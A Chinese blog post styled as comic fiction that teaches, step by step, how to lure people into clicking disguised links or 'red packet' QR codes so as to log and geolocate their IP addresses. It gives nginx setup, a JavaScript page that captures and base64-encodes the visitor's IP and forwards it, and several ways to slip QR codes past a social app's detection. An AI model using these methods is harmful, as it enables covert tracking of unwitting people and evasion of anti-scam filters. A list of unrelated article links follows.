我在人間湊數的日子---網戀篇(一)
導語
本文純屬虛構,請勿聯絡實際生活,部分內容可能引用,如有侵權聯絡刪除。
本篇涉及知識點如下:
1.web服務搭建 2.html頁面編寫,獲取IP,簡單加密 3.短網址偽裝 4.二維碼偽裝 5.高精度定位 6.二維碼檢測繞過與思路擴充 7.微信好友申請與聊天拉扯
正文
每天早上都想幹翻這個世界,晚上回到家被這個世界乾的服服帖帖,被生活瘋狂折磨,但依然熱愛生活。
一覺醒來,發現今天並沒有發生改變,於是準備找朋友溝通一下感情。
一、web服務搭建
1.安裝web服務
使用ubuntu安裝nginx
# 切換至root使用者 sudo su root apt-get install nginx
2.命令執行完畢後,檢視是否安裝成功
nginx -v
3.啟動nginx
service nginx start
啟動後,在網頁重輸入ip,即可看到nginx的歡迎頁面,至此nginx安裝成功.
4.預設存放日誌目錄: /var/log/nginx/
access.log檔案為訪問日誌,會記錄訪問的IP地址
5.只要將特定的地址傳送給目標訪問,之後檢視日誌即可。
二、Html頁面編寫與偽裝
1.正常直接給目標傳送一個地址會很奇怪,所以簡單偽裝下增強下迷惑性。
到網站web目錄下,建一個hi.html檔案,內容輸入hi~
訪問一下,可正常訪問
檢視日誌記錄,可以看到訪問IP。
2.百度短連結轉換,將地址轉換為短連結,然後傳送給目標即可。
3.找個群聊測試一下效果。
等待10幾分鐘,沒人理我...
看來沒有吸引力,再加上一點誘惑語言,吸引一下,果然誘惑性語言是走向成功的基石。
4.百度js獲取ip地址,找到一個三方js,嘗試一下
http://www.xiuc.top:8188/page/mob/index.html
獲取ip,彈窗程式碼
< script src="http://www.xiuc.top/i.js"></script> < script> io(ip())</script>
彈窗測試效果圖
5.給ip進行下base64編碼,再來個重定向。
<html> < script src="http://www.xiuc.top/i.js"></script> < script> Base64 = { _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", encode: function (e) { var t = ""; var n, r, i, s, o, u, a; var f = 0; e = Base64._utf8_encode(e); while (f < e.length) { n = e.charCodeAt(f++); r = e.charCodeAt(f++); i = e.charCodeAt(f++); s = n >> 2; o = (n & 3) << 4 | r >> 4; u = (r & 15) << 2 | i >> 6; a = i & 63; if (isNaN(r)) { u = a = 64 } else if (isNaN(i)) { a = 64 } t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) + this._keyStr.charAt(u) + this._keyStr.charAt(a) } return t }, decode: function (e) { var t = ""; var n, r, i; var s, o, u, a; var f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = this._keyStr.indexOf(e.charAt(f++)); o = this._keyStr.indexOf(e.charAt(f++)); u = this._keyStr.indexOf(e.charAt(f++)); a = this._keyStr.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } t = Base64._utf8_decode(t); return t }, _utf8_encode: function (e) { e = e.replace(/rn/g, "n"); var t = ""; for (var n = 0; n < e.length; n++) { var r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r) } else if (r > 127 && r < 2048) { t += String.fromCharCode(r >> 6 | 192); t += String.fromCharCode(r & 63 | 128) } else { t += String.fromCharCode(r >> 12 | 224); t += String.fromCharCode(r >> 6 & 63 | 128); t += String.fromCharCode(r & 63 | 128) } } return t }, _utf8_decode: function (e) { var t = ""; var n = 0; var r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t } } var encodedString = Base64.encode(ip()); ic( encodedString ); to('http://xxx.com/hi.html',{ token:encodedString }) </script> </html>
效果圖如下
6.這樣也可以解密日誌中的base64來得到IP,這個是第三方的IP來源維度,可以和伺服器自帶的做一個對比,也可以做成別的自定義加密方式。
7.當目標點選後百度高精度的定位網站,查一下,如下
http://www.chaipip.com/aiwen.html
效果圖
收穫到一個跳跳企鵝,是不是很好玩。
8.為了測試準確性,多換幾個目標進行測試
不禁讓人感嘆,現在的人越來越聰明瞭。不過這波不虧,畢竟沒人讓我說,中國人不騙中國人。
9.看來大家對連結還是有一定的警惕性,再次略作思索,如果換成領紅包的二維碼呢?
百度線上二維碼製作,輸入短網址,生成二維碼。
對二維碼進行美化,加圖示和文字。
看起來還不錯,再換個好友測試一下
這波分析太到位了。不愧是大佬行為。於是我只好用出終極社工殺手鐧。
完美得到地址,但是相對來說,人們對二維碼的警惕性還是要比陌生連結低,再比如說掃描二維碼問卷調查領紅包呢?是不是更有真實性。所以提醒大家不要輕易掃碼哦。
三、二維碼檢測繞過
接著開始閒聊,朋友說在社交,在朋友的推薦下決定嘗試擴充一下社交圈
結果下載軟體後一番操作,已讀未回...
看起來是個壞訊息,但是問題不大。
漁夫每次出海前都不知道魚在哪裡,但他還是堅持出海,因為他相信自己一定能滿載而歸。
經過長期操作,終於匹配到一個幸運網友,經過一番對話後,開始正題。
作為一個剛認識的網友,我的拒絕合情合理,所以我準備下線了,但是。
誰能拒絕一個可憐的深山裡賣茶葉的小姑娘呢。
女人,你成功的引起了我的注意,等待良久...
內心的正義感在燃燒,所以,為了幫助她,我決定研究一下。
剛好之前製作二維碼,直接拿來測試,一個紅色,提示傳送失敗,可惡!
既然二維碼是圖片,那猜測應該是把圖片還原進行檢測的。嘗試一下模糊圖片傳送,結果失敗
看來需要了解一下如何識別圖片中的二維碼,根據網路搜尋來的資訊和經驗結合,首先,我們識別一個東西,是根據特徵來確定的,二維碼應該也是如此。
二維碼的特點,如下圖:
有三個“回“字形圖案,中間的一個點位於圖案的左上角,之所以這樣設計是因為影像偏轉,也可以根據此特徵來糾正,也就是說識別二維碼,就是識別二維碼的三個點。
接下來,逐步分析一下這三個點的特性:
1.每個點有兩個輪廓。就是兩個口,大“口”內部有一個小“口”,所以是兩個輪廓。
2.如果把這個“回”放到一個白色的背景下,從左到右,或從上到下畫一條線。這條線經過的 圖案黑白比例大約為:黑白比例為1:1:3:1:1。
3.如何找到左上角的頂點?這個頂點與其他兩個頂點的夾角為90度。
透過上面幾個步驟,就能識別出二維碼的三個頂點,並且識別出左上角的頂點。
通俗講如下圖得到 A、B、C三個回型點來告訴程式它是一個二維碼,可以對其解析。
我們將B點進行打碼,拿微信的二維碼識別驗證一下,可以看到沒有識別二維碼的按鈕
再使用掃一掃驗證,無法識別
根據上面的實驗,我們只需把A、B、C三個回中的任意一個打碼即可讓程式認為它不是個二維碼。
接著我們回到社交軟體傳送我們打碼後的二維碼。
在這裡有個問題,我打碼後的二維碼即使能發出去但是別人識別不了,哪有啥用? 問的好,下次不要這麼問了。 首先,因為打碼的二維碼還沒傳送成功,所以你這個問題沒意義,下一位。
嘗試傳送打碼的二維碼,提示傳送失敗,該軟體認為這是一個二維碼。
根據此反饋我們應該可以確認該軟體是沒有“真正”的去識別二維碼的,只要相似就會提示,這就給了我們機會,那猜測他們識別策略是類似有一批樣本,之後拿傳送的圖片進行一個對比,如果識別度達到多少,就會提示是二維碼。
那麼相應的我們就需要一張有二維碼,但和常規二維碼不一樣的二維碼。
於是,我嘗試把二維碼縮小,擷取一張大圖才進行傳送。
經過反覆測試對比,發現只要正常二維碼大小,小於整張圖的1/25,可以放N個都不會被識別到,並且微信圖片識別二維碼和掃一掃,包括肉眼都可以正常識別,那麼問題基本解決。
繼續對幾個功能測試,發現可以拍攝表情包,主要為gif動圖,嘗試直接把動圖二維碼放上去,提示紅色感嘆號。
測試拍攝其他內容,中間夾雜二維碼,發現可正常傳送。
同理影片中攜帶二維碼應該也可以正常傳送,但此功能需要互相關注才可。
目前我們有了三種途徑來繞過傳送二維碼:
1.二維碼縮小繞過檢測傳送 2.gif動圖夾雜二維碼傳送 3.影片夾雜二維碼傳送(需互關)
四、二維碼檢測繞過思路擴充
那麼除此之外,還有什麼方法可以繞過檢測呢?
思考片刻,既然檢測的是圖片,那麼換個載體承載資訊呢?
於是嘗試以下幾個思路
1.參考倉頡造字,那造個二維碼的字好不好 2.參考網友的顏文字神獸圖案,組裝一個二維碼
關於造字,經過一系列百度,可以利用windows的造字程式。
以win10為例,在搜尋中輸入“專用字元編輯程式” 查詢
開啟程式後一路預設直接創做即可
字符集選擇Unicode .儲存
之後點選編輯,複製字元
輸入對應的程式碼到右側
右擊複製
再新建一個txt文件貼上即可,演示效果如下
可惜的是由於對方沒有對應的字符集,只能本地玩玩。
第二種方案就是類似如下神獸,利用符號組合成二維碼進行傳送
思路到此結束。
五、聊天拉扯
最後,根據測試結果比對,透過縮小二維碼繞過檢測進行傳送,無疑是當下最優的方法。
趕緊拿我們的方法來告訴賣茶的阿花,順帶展示下我們的實力。
可是等待了10分鐘,對方還是沒有把二維碼發給我們,難道被識破了?沉浸式思考...
好你個網友,本以為想騙我掃碼買茶葉,兜兜轉轉,原來是想得到我微信,這該死的魅力。
3,2,1...
尾結
人間的真話本就不多, 一個女子的臉紅勝過一大片情話。可後來有了胭脂,便分不清是真情還是假意。但現在又有了腮紅, 更遑論誰是有意無意。未完待續...
相關文章
- 當年紅極一時的Metaverse網遊,現在人們用它婚戀交友2021-07-06Metaverse
- 在阿里工作的日子裡,我都學到了哪些東西?2019-11-01阿里
- 5.12 | 一個註定讓人銘記的日子2020-05-12
- 在焦慮中等待的日子,是一種人生修行?2019-01-28
- 龍蜥開發者說:一人行快,眾人行遠!在龍蜥社群的日子,我想說這些 | 第 12 期2022-09-23
- 無人機在火星升空!程式設計師應該感到自豪的日子2021-04-20無人機程式設計師
- 我在等一個人,一直在等,靜靜的等,耐心的等2021-03-16
- 在酷家樂做面試官的日子2019-03-02面試
- 在思否程式設計下奔跑的日子,一路有你同行2019-09-10程式設計
- 通過區域網中間人攻擊學網路第四篇2020-11-13
- 獨立遊戲人朱念洋:我是怎麼撐過沒版號的這些日子?2020-04-27遊戲
- 在國企的日子(第七章 轉正)2019-07-20
- HTTPS虐我千百遍,我卻待她如初戀!2022-12-08HTTP
- Maven虐我千百遍,我待Maven如初戀2019-05-20Maven
- 人間不配網際網路2018-11-27
- 2023年美國感恩節至網路星期一期間在網上購物消費者人數(附原資料表) 2024-01-05
- 一窮二白搞微服務的日子2021-05-12微服務
- 湊搜網2019-05-11
- 我的第一篇blog2024-03-18
- 使用VUE寫一段時間專案的個人總結-元件篇2019-01-10Vue元件
- 人臉識別可以分辨同性戀?論科技研發和倫理道德之間的矛盾2018-03-20
- 雜湊索引在MySQL中的探究2022-05-14索引MySql
- 寫給遠端工作一週年的日子2019-08-14
- 投標虐我千百遍,我卻待它如初戀!2020-04-22
- 我的第一篇部落格2024-11-26
- 我的第一篇博文2021-05-16
- 我的第一篇文章2018-08-23
- 2023年美國感恩節至網路星期一期間在商店購物消費者人數(附原資料表) 2024-01-08
- [譯] 我們是如何高效實現一致性雜湊的2018-07-22
- 我的 2023 年,父親肺癌,失業,失戀、上岸2023-12-12
- 雜湊求眾數2018-03-24
- 「LeetCode Top100」之雜湊篇2024-08-04LeetCode
- 我的第一個網站2024-11-14網站
- 一條 Git 命令減少了一般儲存空間,我的伺服器在偷著笑2022-01-16Git伺服器
- 每一個不曾起舞的日子,都是對生命的辜負2018-06-05
- 我在極簡的火柴人遊戲裡,看了一部精彩的黑幫電影2020-12-16遊戲
- 雜湊表的一點思考2024-12-03
- 初學Java的那段日子2019-03-22Java